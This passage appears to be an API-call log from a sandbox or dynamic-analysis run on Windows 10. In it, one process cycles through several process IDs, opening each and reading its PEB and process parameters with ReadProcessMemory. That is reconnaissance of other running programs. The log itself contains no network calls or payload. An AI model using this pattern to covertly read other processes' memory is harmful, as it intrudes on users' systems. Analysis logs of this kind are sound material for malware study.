1 [0275.906] free (_Block=0x20abc2801b0) [0275.907] CloseHandle (hObject=0x16c) returned 1 [0275.908] _ui64tow_s (in: _Value=0x210, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0275.911] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="528") returned 3 [0275.912] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.912] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.925] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x16c [0275.925] GetLastError () returned 0x0 [0275.926] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.926] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb735b0c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.927] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.927] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303400, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.927] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.928] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.929] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.930] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb735b0c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.930] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd302a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.930] malloc (_Size=0x82) returned 0x20abc285ba0 [0275.930] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303088, lpBuffer=0x20abc285ba0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285ba0*, lpNumberOfBytesRead=0x0) returned 1 [0275.931] free (_Block=0x20abc285ba0) [0275.931] CloseHandle (hObject=0x16c) returned 1 [0275.932] _ui64tow_s (in: _Value=0x45c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1116") returned 0x0 [0275.935] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1116") returned 4 [0275.936] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.936] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0275.950] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x16c [0275.950] GetLastError () returned 0x0 [0275.951] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0275.951] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xd23f744018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0275.951] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0275.952] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07003460, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0275.952] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed070030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0275.953] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0275.990] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0275.990] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xd23f744020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0275.991] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07002ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0275.991] malloc (_Size=0x66) returned 0x20abc280840 [0275.991] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07003108, lpBuffer=0x20abc280840, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0275.991] free (_Block=0x20abc280840) [0275.992] CloseHandle (hObject=0x16c) returned 1 [0275.993] _ui64tow_s (in: _Value=0x508, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1288") returned 0x0 [0275.996] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1288") returned 4 [0275.997] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0275.997] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.010] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x16c [0276.011] GetLastError () returned 0x0 [0276.012] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.012] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f6018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.012] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.012] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1b70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.012] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1818, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.013] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.015] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.015] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f6020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.015] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1200, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.015] malloc (_Size=0x42) returned 0x20abc27cb20 [0276.015] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1858, lpBuffer=0x20abc27cb20, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0276.016] free (_Block=0x20abc27cb20) [0276.030] CloseHandle (hObject=0x16c) returned 1 [0276.031] _ui64tow_s (in: _Value=0x538, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1336") returned 0x0 [0276.035] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1336") returned 4 [0276.036] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.036] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.049] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x538) returned 0x16c [0276.049] GetLastError () returned 0x0 [0276.050] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.050] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc399b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.050] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.050] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c2351bf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.050] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c23518c8, lpBuffer=0x2dc22fc240, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.052] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.053] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.053] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc399b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.053] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c23512b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.053] malloc (_Size=0x18) returned 0x20abc281de0 [0276.053] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c2351906, lpBuffer=0x20abc281de0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281de0*, lpNumberOfBytesRead=0x0) returned 1 [0276.054] free (_Block=0x20abc281de0) [0276.054] CloseHandle (hObject=0x16c) returned 1 [0276.055] _ui64tow_s (in: _Value=0x604, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1540") returned 0x0 [0276.058] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1540") returned 4 [0276.059] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.059] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.077] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x16c [0276.077] GetLastError () returned 0x0 [0276.078] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.078] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xdc7c19c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.089] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.090] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a79034a0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.090] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a79030e8, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.092] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.093] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.093] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xdc7c19c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.093] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a7902ad0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.094] malloc (_Size=0x64) returned 0x20abc280840 [0276.094] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a7903134, lpBuffer=0x20abc280840, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0276.094] free (_Block=0x20abc280840) [0276.095] CloseHandle (hObject=0x16c) returned 1 [0276.096] _ui64tow_s (in: _Value=0x644, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0276.099] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1604") returned 4 [0276.100] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.100] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.114] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0x16c [0276.114] GetLastError () returned 0x0 [0276.115] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.115] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb845380018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.115] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.115] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de033e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.116] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de03048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.117] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.118] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.118] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb845380020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.118] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de02a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.118] malloc (_Size=0x5a) returned 0x20abc280840 [0276.118] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de03088, lpBuffer=0x20abc280840, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0276.119] free (_Block=0x20abc280840) [0276.120] CloseHandle (hObject=0x16c) returned 1 [0276.120] _ui64tow_s (in: _Value=0x778, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1912") returned 0x0 [0276.124] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1912") returned 4 [0276.131] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.131] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.145] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x778) returned 0x16c [0276.145] GetLastError () returned 0x0 [0276.147] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.147] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ba018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.147] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.147] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511c50, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.148] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118e8, lpBuffer=0x2dc22fc240, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.149] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.151] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.151] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ba020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.151] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112d0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.151] malloc (_Size=0x32) returned 0x20abc280990 [0276.151] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511918, lpBuffer=0x20abc280990, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280990*, lpNumberOfBytesRead=0x0) returned 1 [0276.152] free (_Block=0x20abc280990) [0276.153] CloseHandle (hObject=0x16c) returned 1 [0276.153] _ui64tow_s (in: _Value=0x7fc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2044") returned 0x0 [0276.157] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2044") returned 4 [0276.158] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.158] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.172] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7fc) returned 0x16c [0276.189] GetLastError () returned 0x0 [0276.189] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.189] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc51ffb018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.190] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.190] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.190] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e18c8, lpBuffer=0x2dc22fc240, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.191] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, 